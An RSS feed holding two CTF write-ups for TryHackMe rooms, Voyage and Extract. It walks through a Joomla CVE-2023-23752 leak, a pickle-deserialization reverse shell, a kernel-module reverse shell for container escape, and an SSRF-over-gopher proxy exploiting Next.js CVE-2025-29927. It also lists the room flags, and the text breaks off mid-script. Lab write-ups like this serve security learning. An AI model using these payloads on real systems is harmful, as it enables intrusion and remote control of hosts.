<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 0xH1S on Medium]]></title>
        <description><![CDATA[Stories by 0xH1S on Medium]]></description>
        <link>https://medium.com/@0xH1S?source=rss-8dd7bb1572f3------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*fqFpdql_vwm3Z-40a9BaRA.png</url>
            <title>Stories by 0xH1S on Medium</title>
            <link>https://medium.com/@0xH1S?source=rss-8dd7bb1572f3------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 10:05:37 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0xH1S/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Voyage writeup — TryHackMe]]></title>
            <link>https://medium.com/@0xH1S/voyage-writeup-tryhackme-8c87b679ccbf?source=rss-8dd7bb1572f3------2</link>
            <guid isPermaLink="false">https://medium.com/p/8c87b679ccbf</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[0xH1S]]></dc:creator>
            <pubDate>Thu, 19 Mar 2026 22:33:56 GMT</pubDate>
            <atom:updated>2026-03-19T22:33:57.776Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*h83wtLtrZSXytpZ2j98jzA.png" /></figure><p>Today I’m sharing the writeup for the Voyage machine on TryHackMe. <strong>Voyage </strong>was an interesting machine that involved multiple layers of containerization, web application exploitation, and kernel module abuse, this writeup documents my step-by-step approach to rooting this machine.</p><p><strong>Reconnaissance Phase</strong></p><p>I started with a fast, comprehensive port scan using Nmap. I used -sS for a <strong>SYN </strong>stealth scan, -p- to cover all <strong>65,535</strong> TCP ports, and --min-rate to keep the speed high:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*lXkOKShshTWtYwVUSBhk7Q.png" /><figcaption>(nmap ports)</figcaption></figure><p>The scan returned three open ports: <strong>22</strong>, <strong>80</strong>, and <strong>2222</strong>.</p><p>With the open ports identified, I ran a second <strong>Nmap </strong>scan with -sV for version detection and -sC to execute the default scripts from <strong>NSE.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*DxetJPyjKKXIxvPbWEgHEQ.png" /><figcaption>(nmap versions)</figcaption></figure><ul><li><strong>Port 22:</strong> OpenSSH 9.6p1</li><li><strong>Port 80:</strong> Apache httpd 2.4.58 (the scan also noted the existence of a robots.txt file).</li><li><strong>Port 2222:</strong> OpenSSH 8.2p1 — a second, separate SSH service.</li></ul><p><strong>Enumeration Phase</strong></p><p>Knowing that<strong> robots.txt </strong>existed, I decided to use <strong>Nmap’s http-enum script</strong> to discover more about the web application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*3c5262YhqRCHlMglunTqng.png" /><figcaption>(http-enum)</figcaption></figure><p>This scan revealed that the website was running <strong>Joomla </strong>version 4.2.7. Wanting to discover additional directories and verify which entries from <strong>robots.txt</strong> were valid, I used Gobuster to validate that paths.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kNnNrrDgfXZcPOstghXydg.png" /><figcaption>(gobuster)</figcaption></figure><p>Gobuster confirmed that /administrator/ returned <strong>HTTP 200</strong>, meaning the Joomla admin panel was accessible.</p><p>I navigated to the main site on port <strong>80</strong>, which presented a simple login with password recovery via email.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a_iLdzBan_QebFM6SruaYg.png" /><figcaption>(login)</figcaption></figure><p>After finding nothing interesting in the source code, I moved to /administrator/, which loaded the <strong>Joomla </strong>login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1bvcW4oIG8yZasqdyoGH_g.png" /><figcaption>(login)</figcaption></figure><p>I tried default credentials like admin:admin without success. My first thought was to<strong> brute-force</strong> the login, but inspecting the page source revealed a dynamic <strong>CSRF </strong>token that would make <strong>Hydra </strong>attacks impractical.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BBR51S2vp7BRoEe-ZiwoZA.png" /><figcaption>(csrf)</figcaption></figure><p>Remembering that the site was running Joomla 4.2.7, I searched for public exploits and found <strong>CVE-2023–23752</strong> in the <a href="https://github.com/Acceis/exploit-CVE-2023-23752">Acceis</a> GitHub repository.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*Gahz83xgHezrGA7eyySm-A.png" /><figcaption>(cve-2023–23752)</figcaption></figure><p>This vulnerability allows unauthorized access to Joomla’s <strong>REST API</strong> endpoints, specifically leaking sensitive information about the database configuration. By sending a crafted unauthenticated request, an attacker can retrieve the contents of the Joomla configuration file, which includes database credentials in plaintext.</p><p><strong>Exploitation Phase</strong></p><p>I downloaded the exploit and installed the required dependencies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-8eqf_SGvYKkLQTUZP0UoQ.png" /><figcaption>(dependencies)</figcaption></figure><p>Then I executed it against the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*nE3tEViHNuyUqfrD0nm6ig.png" /><figcaption>(exploit.rb)</figcaption></figure><p>The exploit ran successfully and disclosed a username named root and a password RootPassword@1234.</p><p>I attempted to use these credentials to connect via SSH on port <strong>22</strong>, but the connection was refused. However, when I tried connecting on port <strong>2222 </strong>the login was successful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*YU88QfF1h3wqwUNao-hrlA.png" /><figcaption>(2222)</figcaption></figure><p>After gaining access, I ran hostname and got a suspicious output. To confirm I was inside a Docker container, I listed the root filesystem.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*GMyONmeiPZv1q-dROnIqlQ.png" /><figcaption>(.dockerenv)</figcaption></figure><p>The presence of the .dockerenv file confirmed I was operating inside a Docker container. I checked my network interface and found my IP was 192.168.100.10/24</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*dld0jbkCT3szSoAQDhq5MQ.png" /><figcaption>(ip a)</figcaption></figure><p>Taking advantage of <strong>Nmap </strong>being available on the container, I scanned the local network to discover other hosts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*Jgp4o01W7MA89wvh8up-JQ.png" /><figcaption>(0–255)</figcaption></figure><p>The scan revealed that my original target’s public IP had a service on port <strong>5000</strong>. Additionally, another host with IP 192.168.100.12 also had a service running on port <strong>5000</strong>.</p><p>I first attempted to connect to the public IP on port <strong>5000 </strong>using <strong>cURL</strong>, but the connection was refused.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/574/1*_-4u9hIGpJGzxRq-4jMWHw.png" /><figcaption>(reset by peer)</figcaption></figure><p>I then tried the internal host 192.168.100.12:5000 and received a valid <strong>HTTP </strong>response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*cQooJgNbZziNdIJ8EueOyQ.png" /><figcaption>(success)</figcaption></figure><p>The Server header response identified the app as <strong>Werkzeug/3.1.3</strong> and the body indicated it was a &quot;secret panel&quot;.</p><p>Since I couldn’t access this directly from my host machine, I set up <strong>SSH </strong>local port forwarding:</p><pre>ssh -L 5000:192.168.100.12:5000 root@10.64.186.85 -p 2222</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*UtfE73ybOUOBTqRvQ2GfQQ.png" /><figcaption>(ssh -l)</figcaption></figure><p>This command forwarded traffic from my local 127.0.0.1:5000 through the compromised container (<strong>192.168.100.10</strong>) to 192.168.100.12:5000. I could now access the <strong>secret panel</strong> in my browser at http://127.0.0.1:5000.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*aS7ZOTG4vQckGCSwgYu28g.png" /><figcaption>(secret panel)</figcaption></figure><p>When testing the secret panel, I noticed it didn’t have a proper authentication mechanism and it accepted any credentials I entered.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*FviU8SKHd-9N5sOsJKKGMw.png" /><figcaption>(sadsad)</figcaption></figure><p>What caught my attention was the session cookie format: session_data= followed by data starting with 8004.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*PqMBGdhPyK_M39CQFND8cg.png" /><figcaption>(cookie)</figcaption></figure><p>The 8004 prefix is the protocol version indicator for Python&#39;s <strong>pickle </strong>serialization format. <strong>Pickle </strong>is Python&#39;s module for object serialization, but it&#39;s known to be dangerous when deserializing untrusted data because it can execute arbitrary code during the unpickling process.</p><p>To confirm my hypothesis, I used a one-liner to decode the cookie data.</p><pre>python3 -c &quot;import pickle,sys,binascii; print(pickle.loads(binascii.unhexlify(sys.argv[1])))&quot; &#39;80049527000000000000007d94288c0475736572948c06736164736164948c07726576656e7565948c05383530303094752e&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nsUPurTj5KpM7aVP4-Z4zA.png" /><figcaption>(oneliner)</figcaption></figure><p>This revealed that the application was creating objects with user: and revenue: attributes. I decided to craft a malicious <strong>pickle </strong>payload that would give me a reverse shell.</p><pre>import pickle<br>import os<br>import binascii<br><br>class exploit(object):<br>    def __reduce__(self):<br>        return (os.system, (&#39;bash -c &quot;/bin/bash -i &gt;&amp; /dev/tcp/192.168.216.29/4444 0&gt;&amp;1&quot;&#39;,))<br><br>if __name__ == &#39;__main__&#39;:<br>    print(binascii.hexlify(pickle.dumps(exploit())))</pre><p>I executed the <strong>script </strong>to generate my malicious payload:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ClU2K9LrQZibgT9SVinszg.png" /><figcaption>(script)</figcaption></figure><p>I set up a <strong>netcat </strong>listener and then I used Burp Suite to intercept a request to the secret panel, replaced the session <strong>cookie </strong>with my payload, and forwarded the request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*rAsEH0hwB5DB5plrHN81aQ.png" /><figcaption>(modified)</figcaption></figure><p>The backend deserialized my malicious pickle object, executing the <strong>reverse shell</strong> command and giving me access to another <strong>Docker </strong>container.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*ihhR0q3C8sfcBDM0B2ORaA.png" /><figcaption>(hostname2)</figcaption></figure><p>I stabilized my shell using the following technique:</p><ol><li>script /dev/null -c bash</li><li>stty raw -echo; fg</li><li>reset</li><li>xterm</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*n2TeiiHxNT0_FqFxFnktkw.png" /><figcaption>(xterm)</figcaption></figure><p>Then I export <strong>TERM=xterm</strong> and <strong>SHELL=bash</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*C961_ickyg3Jv1jp-mTP-Q.png" /><figcaption>(export)</figcaption></figure><p>Now with a fully interactive shell, I found the first flag in the /root directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/376/1*UrWNowwaYMxOktd8kFQMzg.png" /><figcaption>(user.txt)</figcaption></figure><p>I transferred <strong>LinPEAS </strong>to the container and ran it to look for privilege escalation vectors. It highlighted two critical misconfigurations.</p><p><strong>1.</strong> The host&#39;s /proc filesystem was mounted inside the container. This is dangerous because /proc exposes kernel internals, and access to it from within a container can be leveraged to interact with the host kernel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*zzarsFgmCYqzoQQL2jzxEw.png" /><figcaption>(/proc mounted)</figcaption></figure><p><strong>2. </strong>The cap_sys_module capability was enabled, with this capability, an attacker can compile a malicious kernel module (.ko file) and load it with insmod, executing arbitrary code at the kernel level completely outside the container&#39;s namespace and security boundaries.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*MBw6xhaSETC0DPtTBLQcqQ.png" /><figcaption>(cap_sys)</figcaption></figure><p>Having the cap_sys_module capability meant I could load kernel modules, effectively breaking out of the container. Combined with the mounted /proc filesystem, I had all I needed.</p><p>I used a reverse shell kernel module template from <a href="https://hacktricks.wiki/en/linux-hardening/privilege-escalation/linux-capabilities.html#cap_sys_module">HackTricks</a> and modified it to point to my attack machine’s IP. The module uses the kernel’s call_usermodehelper function to execute a command in userspace with kernel privileges.</p><pre>#include &lt;linux/kmod.h&gt;<br>#include &lt;linux/module.h&gt;<br>MODULE_LICENSE(&quot;GPL&quot;);<br>MODULE_AUTHOR(&quot;AttackDefense&quot;);<br>MODULE_DESCRIPTION(&quot;LKM reverse shell module&quot;);<br>MODULE_VERSION(&quot;1.0&quot;);<br><br>char* argv[] = {&quot;/bin/bash&quot;,&quot;-c&quot;,&quot;bash -i &gt;&amp; /dev/tcp/10.10.14.8/4444 0&gt;&amp;1&quot;, NULL};<br>static char* envp[] = {&quot;PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&quot;, NULL };<br><br>// call_usermodehelper function is used to create user mode processes from kernel space<br>static int __init reverse_shell_init(void) {<br>    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);<br>}<br><br>static void __exit reverse_shell_exit(void) {<br>    printk(KERN_INFO &quot;Exiting\n&quot;);<br>}<br><br>module_init(reverse_shell_init);<br>module_exit(reverse_shell_exit);</pre><p>I created the Makefile to compile the module. An important detail: the container was running kernel <strong>6.8.0–1031-aws</strong>, but only headers for 6.8.0-1029-aws and 6.8.0-1030-aws were installed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/375/1*Ivt2ByuewNsehJG4NUdqBQ.png" /><figcaption>(/lib/modules/</figcaption></figure><p>I modified the Makefile to target <strong>6.8.0-1030-aws</strong>. It is also critical to ensure Makefile indentation uses actual<strong> tab c</strong>haracters, not spaces, or make will fail.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*_CDBzpzlENeT_plmjIa4sQ.png" /><figcaption>(6.8.0–1030-aws)</figcaption></figure><p>After compiling with make, the rev.ko kernel module was created.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*uKDMixVNIGUSMm8kNpHQWQ.png" /><figcaption>(make)</figcaption></figure><p>I set up another listener on my machine and loaded the module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/349/1*JgHlRDlwY2cxRMBADgA30A.png" /><figcaption>(insmod rev.ko)</figcaption></figure><p>The module executed immediately, giving me a reverse shell on the <strong>host </strong>machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*2KdOWAcHEbWrnMrrAMnZkA.png" /><figcaption>(escaped)</figcaption></figure><p>I had successfully escaped the container and obtained <strong>root </strong>access on the main system, where I found the final flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/407/1*mwOmsHZ0QC2Vx9er8QgWmg.png" /><figcaption>(root flag)</figcaption></figure><p>The answers for all the questions are:</p><p><strong>1. What is the value of user-level flag?</strong></p><blockquote>THM{ee346612fb944085af0dd2cd677b1902}</blockquote><p><strong>2. What is the value of the root-level flag?</strong></p><blockquote>THM{ace91ec899f84498a74629b078bdceff}</blockquote><p>Thats all! Thanks for reading and see you next time!, I hope this Writeup has been helpful.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8c87b679ccbf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Extract writeup — TryHackMe]]></title>
            <link>https://medium.com/@0xH1S/extract-writeup-tryhackme-573dd3e2f15e?source=rss-8dd7bb1572f3------2</link>
            <guid isPermaLink="false">https://medium.com/p/573dd3e2f15e</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[0xH1S]]></dc:creator>
            <pubDate>Tue, 17 Mar 2026 23:19:27 GMT</pubDate>
            <atom:updated>2026-03-17T23:19:27.696Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*CvOaQ_60xJPz8GDildEJWQ.png" /></figure><p>This writeup covers the <strong>TryHackMe </strong>room <strong>Extract</strong>, a medium-difficulty machine that chains together several interesting web-exploitation techniques: SSRF with Gopher protocol abuse, a Next.js authentication bypass <strong>(CVE-2025–29927)</strong> and more.</p><p><strong>Reconnaissance Phase</strong></p><p>I started the engagement with an aggressive <strong>SYN </strong>scan with nmapto discover all open ports as quickly as possible:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*h8UFLWjc04abY41JfXr9-w.png" /><figcaption>(nmap1)</figcaption></figure><p>This revealed two open ports: <strong>22 </strong>and <strong>80</strong>. To gather more detailed information about the services running on these ports, I performed a more comprehensive scan:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*iNtQuuEADwwJNYArDceHfw.png" /><figcaption>(nmap2)</figcaption></figure><p>Results confirmed <strong>OpenSSH 9.6p1</strong> on port 22 and <strong>Apache httpd 2.4.58</strong> on port <strong>80</strong>. The web server was the obvious starting point.</p><p><strong>Enumeration Phase</strong></p><p>To discover hidden directories and files, I use <strong>Gobuster </strong>in directory mode to enumerate the web root:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SUCLMXlAYX6TfP9DfKVpCg.png" /><figcaption>(gobuster)</figcaption></figure><p>This revealed four interesting paths:</p><ul><li>/preview.php</li><li>/management/</li><li>/pdf/</li><li>/javascript/</li></ul><p>Visiting the main page, I found a simple document preview application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gNqPOuvkQUwYYd0iQvhRzA.png" /><figcaption>(page)</figcaption></figure><p>Inspecting the JavaScript source revealed a function called OpenPdf(url) that dynamically creates an &lt;iframe&gt; and points it to preview.php?url=&lt;value&gt;, toggling iframe.style.display = &#39;block&#39; to render the preview. This immediately suggested that preview.php was fetching arbitrary URLs on the server side.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/439/1*HRyc37mFakIUQfGngF0AaQ.png" /><figcaption>(iframe)</figcaption></figure><p>When I attempted to access /management/ directly, I received an &quot;access denied&quot; message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/135/1*trrGG46_ukHAOhkrnbtEAQ.png" /><figcaption>(denied)</figcaption></figure><p>Since /management/ was returning <strong>403 </strong>from the outside, I tested whether preview.php&#39;s url parameter could reach it from localhost. The request succeeded, returning the contents of /management/index.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GZDvzciPGXfmYgoE5sO_KQ.png" /><figcaption>(localhost)</figcaption></figure><p>This confirmed a classic Server-Side Request Forgery vulnerability. However, because preview.php was acting as the <strong>HTTP </strong>client, I could not interact with the form directly; any <strong>POST </strong>data or custom headers would need to be crafted through the <strong>SSRF </strong>vector.</p><p>I tested several URL schemes to understand the filter in place. php://, file://, and data:// were all blocked. However, gopher:// was not filtered.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nugFmBaa7TMopoED02IYRg.png" /><figcaption>(file)</figcaption></figure><p>The Gopher protocol is particularly dangerous in <strong>SSRF </strong>scenarios because it allows attackers to craft raw <strong>TCP </strong>payloads. Unlike HTTP which has strict formatting requirements, Gopher can send arbitrary data to any service, effectively allowing interaction with internal services that speak different protocols</p><p>With Gopher available, I decided to enumerate other potentially open ports on localhost using <strong>ffuf</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*uzF73J_DlpL01fPhNr2gBA.png" /><figcaption>(ffuf)</figcaption></figure><p>Port <strong>10000</strong> returned HTTP 200. Accessing it via the <strong>SSRF </strong>revealed a page bearing the warning <em>“Unauthorised access to this system is strictly prohibited”</em> and a link labelled <strong>API</strong> pointing to /customapi</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*u2aBBUtrw1RI3XUCZ_xwTg.png" /><figcaption>(unathorised)</figcaption></figure><p><strong>Exploitation Phase</strong></p><p>While inspecting the page, I noticed it was built with Next.js. Researching Next.js vulnerabilities led me to<strong> </strong><a href="https://projectdiscovery.io/blog/nextjs-middleware-authorization-bypass"><strong>CVE-2025–29927</strong></a>, an authentication bypass vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sEaK4ZxhB5LblxfsUv6SJQ.png" /><figcaption>(nextjs)</figcaption></figure><p><strong>CVE-2025–29927</strong> is a critical authentication bypass vulnerability affecting Next.js middleware. Next.js uses an internal request header called x-middleware-subrequest to track middleware invocation depth and prevent infinite recursion. The flaw is that this header was never stripped from incoming external requests, meaning an attacker who sends a request with a specific value for this header causes the <strong>middleware </strong>to believe it has already been invoked and skip all authentication checks entirely, granting <strong>unauthenticated </strong>access to any route protected only by middleware.</p><pre>x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware</pre><p>The challenge was that I couldn’t directly interact with the application to send this modified header, all <strong>traffic </strong>had to go through preview.php.</p><p>To solve this, I wrote a local proxy server in <strong>Python </strong>(with assistance from <a href="https://claude.ai/">Claude.ai</a>). It listens on 127.0.0.1:4000, accepts any HTTP request, serialises that request into a double-URL-encoded <strong>Gopher </strong>payload, and forwards it to the <strong>SSRF </strong>endpoint on the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hM0m4Cf3RT7S-hcmHeLCjA.png" /><figcaption>(script config)</figcaption></figure><p>The target then uses Gopher to relay those raw bytes to the internal service on port <strong>10000</strong>. Responses are parsed and returned to my local browser, effectively creating an interactive tunnel through the <strong>SSRF</strong>.</p><pre>#!/usr/bin/env python3<br>import socket<br>import threading<br>import urllib.parse<br>import urllib.request<br>import urllib.error<br>import re<br>import gzip<br>import zlib<br>import requests<br><br>LISTEN_HOST   = &quot;127.0.0.1&quot;<br>LISTEN_PORT   = 4000<br>SSRF_ENDPOINT = &quot;http://10.66.156.8/preview.php&quot;<br>FORWARD_IP    = &quot;127.0.0.1&quot;<br>FORWARD_PORT  = 80<br>MAX_REDIRECTS = 10<br><br>session_cookies = {}<br>session_lock    = threading.Lock()<br><br><br>def fix_request(raw: bytes) -&gt; bytes:<br>    try:<br>        text = raw.decode(&quot;utf-8&quot;, errors=&quot;replace&quot;)<br>        text = re.sub(r&quot;Host: [^\r\n]+&quot;, f&quot;Host: {FORWARD_IP}:{FORWARD_PORT}&quot;, text, count=1)<br>        text = re.sub(r&quot;^(GET|POST|PUT|DELETE|PATCH|HEAD|OPTIONS) http://[^/\s]*/&quot;, r&quot;\1 /&quot;, text, flags=re.MULTILINE, count=1)<br>        text = re.sub(r&quot;^(GET|POST|PUT|DELETE|PATCH|HEAD|OPTIONS) http://[^/\s]+ &quot;, r&quot;\1 / &quot;, text, flags=re.MULTILINE, count=1)<br>        text = re.sub(r&quot;Accept-Encoding: [^\r\n]+\r\n&quot;, &quot;&quot;, text)<br>        text = text.replace(&quot;\r\n\r\n&quot;, &quot;\r\nAccept-Encoding: identity\r\n\r\n&quot;, 1)<br>        text = re.sub(r&quot;Proxy-Connection: [^\r\n]+\r\n&quot;, &quot;&quot;, text)<br>        text = re.sub(r&quot;X-Forwarded-For: [^\r\n]+\r\n&quot;, &quot;&quot;, text)<br>        return text.encode(&quot;utf-8&quot;, errors=&quot;replace&quot;)<br>    except Exception:<br>        return raw<br><br><br>def decode_chunked(data: bytes) -&gt; bytes:<br>    result = b&quot;&quot;<br>    try:<br>        while data:<br>            crlf = data.find(b&quot;\r\n&quot;)<br>            if crlf == -1:<br>                break<br>            size_str = data[:crlf].split(b&quot;;&quot;)[0].strip()<br>            if not size_str:<br>                break<br>            chunk_size = int(size_str, 16)<br>            if chunk_size == 0:<br>                break<br>            start = crlf + 2<br>            result += data[start:start + chunk_size]<br>            data = data[start + chunk_size + 2:]<br>    except Exception:<br>        return result if result else data<br>    return result<br><br><br>def decompress_body(body: bytes, encoding: str) -&gt; bytes:<br>    encoding = encoding.lower().strip()<br>    try:<br>        if encoding == &quot;gzip&quot;:<br>            return gzip.decompress(body)<br>        elif encoding in (&quot;deflate&quot;, &quot;zlib&quot;):<br>            try:<br>                return zlib.decompress(body)<br>            except zlib.error:<br>                return zlib.decompress(body, -zlib.MAX_WBITS)<br>        elif encoding == &quot;br&quot;:<br>            import brotli<br>            return brotli.decompress(body)<br>    except Exception:<br>        pass<br>    return body<br><br><br>def parse_http_response(raw: bytes) -&gt; tuple[int, dict, bytes]:<br>    if b&quot;\r\n\r\n&quot; in raw:<br>        header_part, body = raw.split(b&quot;\r\n\r\n&quot;, 1)<br>    elif b&quot;\n\n&quot; in raw:<br>        header_part, body = raw.split(b&quot;\n\n&quot;, 1)<br>    else:<br>        return 200, {}, raw<br><br>    lines = header_part.split(b&quot;\r\n&quot;) if b&quot;\r\n&quot; in header_part else header_part.split(b&quot;\n&quot;)<br><br>    status = 200<br>    try:<br>        parts = lines[0].decode(&quot;utf-8&quot;, errors=&quot;replace&quot;).split(&quot; &quot;, 2)<br>        if len(parts) &gt;= 2:<br>            status = int(parts[1])<br>    except Exception:<br>        pass<br><br>    headers = {}<br>    for line in lines[1:]:<br>        try:<br>            decoded = line.decode(&quot;utf-8&quot;, errors=&quot;replace&quot;)<br>            if &quot;:&quot; in decoded:<br>                k, v = decoded.split(&quot;:&quot;, 1)<br>                key = k.strip().lower()<br>                if key == &quot;set-cookie&quot;:<br>                    if key not in headers:<br>                        headers[key] = []<br>                    headers[key].append(v.strip())<br>                else:<br>                    headers[key] = v.strip()<br>        except Exception:<br>            pass<br><br>    if &quot;chunked&quot; in headers.get(&quot;transfer-encoding&quot;, &quot;&quot;).lower():<br>        body = decode_chunked(body)<br><br>    content_enc = headers.get(&quot;content-encoding&quot;, &quot;&quot;)<br>    if content_enc:<br>        body = decompress_body(body, content_enc)<br><br>    return status, headers, body<br><br><br>def do_ssrf_request(raw_request: bytes) -&gt; tuple[int, dict, bytes]:<br>    double_encoded = urllib.parse.quote(urllib.parse.quote(raw_request))<br>    target_url = f&quot;{SSRF_ENDPOINT}?url=gopher://{FORWARD_IP}:{FORWARD_PORT}/_{double_encoded}&quot;<br>    try:<br>        resp = requests.get(target_url, timeout=15)<br>        if not resp.content:<br>            return 200, {}, b&quot;&lt;h1&gt;Empty response&lt;/h1&gt;&quot;<br>        return parse_http_response(resp.content)<br>    except Exception as e:<br>        return 502, {}, b&quot;&lt;h1&gt;Proxy Error&lt;/h1&gt;&lt;pre&gt;&quot; + str(e).encode() + b&quot;&lt;/pre&gt;&quot;<br><br><br>def inject_cookies(request: bytes, cookies: dict) -&gt; bytes:<br>    if not cookies:<br>        return request<br>    <br>    <br>    existing_match = re.search(rb&quot;Cookie: ([^\r\n]+)&quot;, request)<br>    if existing_match:<br>        <br>        existing_str = existing_match.group(1).decode(errors=&quot;replace&quot;)<br>        existing = {}<br>        for part in existing_str.split(&quot;;&quot;):<br>            part = part.strip()<br>            if &quot;=&quot; in part:<br>                k, v = part.split(&quot;=&quot;, 1)<br>                existing[k.strip()] = v.strip()<br>        <br>        <br>        merged = {**cookies, **existing}<br>        cookie_str = &quot;Cookie: &quot; + &quot;; &quot;.join(f&quot;{k}={v}&quot; for k, v in merged.items()) + &quot;\r\n&quot;<br>        request = re.sub(rb&quot;Cookie: [^\r\n]+\r\n&quot;, cookie_str.encode(), request)<br>    else:<br>        <br>        cookie_str = &quot;Cookie: &quot; + &quot;; &quot;.join(f&quot;{k}={v}&quot; for k, v in cookies.items()) + &quot;\r\n&quot;<br>        request = request.replace(b&quot;\r\n\r\n&quot;, (&quot;\r\n&quot; + cookie_str + &quot;\r\n&quot;).encode(), 1)<br>    <br>    return request<br><br><br>def update_session(headers: dict):<br>    with session_lock:<br>        for cookie in headers.get(&quot;set-cookie&quot;, []):<br>            part = cookie.split(&quot;;&quot;)[0].strip()<br>            if &quot;=&quot; in part:<br>                k, v = part.split(&quot;=&quot;, 1)<br>                session_cookies[k.strip()] = v.strip()<br><br><br>def rewrite_html(body: bytes, current_path: str) -&gt; bytes:<br>    try:<br>        text = body.decode(&quot;utf-8&quot;, errors=&quot;replace&quot;)<br><br>        def fix_action(m):<br>            quote  = m.group(1)<br>            action = m.group(2)<br>            if not action or action == &quot;#&quot;:<br>                return f&#39;action={quote}{current_path}{quote}&#39;<br>            if action.startswith(&quot;http&quot;) or action.startswith(&quot;/&quot;):<br>                return m.group(0)<br>            resolved = urllib.parse.urljoin(current_path, action)<br>            return f&#39;action={quote}{resolved}{quote}&#39;<br><br>        text = re.sub(r&#39;action=([&quot;\&#39;])([^&quot;\&#39;]*)\1&#39;, fix_action, text, flags=re.IGNORECASE)<br>        return text.encode(&quot;utf-8&quot;, errors=&quot;replace&quot;)<br>    except Exception:<br>        return body<br><br><br>def send_via_ssrf_follow_redirects(raw_request: bytes) -&gt; tuple[int, dict, bytes]:<br>    with session_lock:<br>        current_request = inject_cookies(raw_request, dict(session_cookies))<br><br>    status, headers, body = do_ssrf_request(current_request)<br><br>    update_session(headers)<br><br>    <br>    if status in (301, 302, 303, 307, 308) and &quot;location&quot; in headers:<br>        location = headers[&quot;location&quot;]<br>        parsed = urllib.parse.urlparse(location)<br><br>        if parsed.scheme:<br>            new_path = parsed.path + (&quot;?&quot; + parsed.query if parsed.query else &quot;&quot;)<br>        else:<br>            current_path_match = 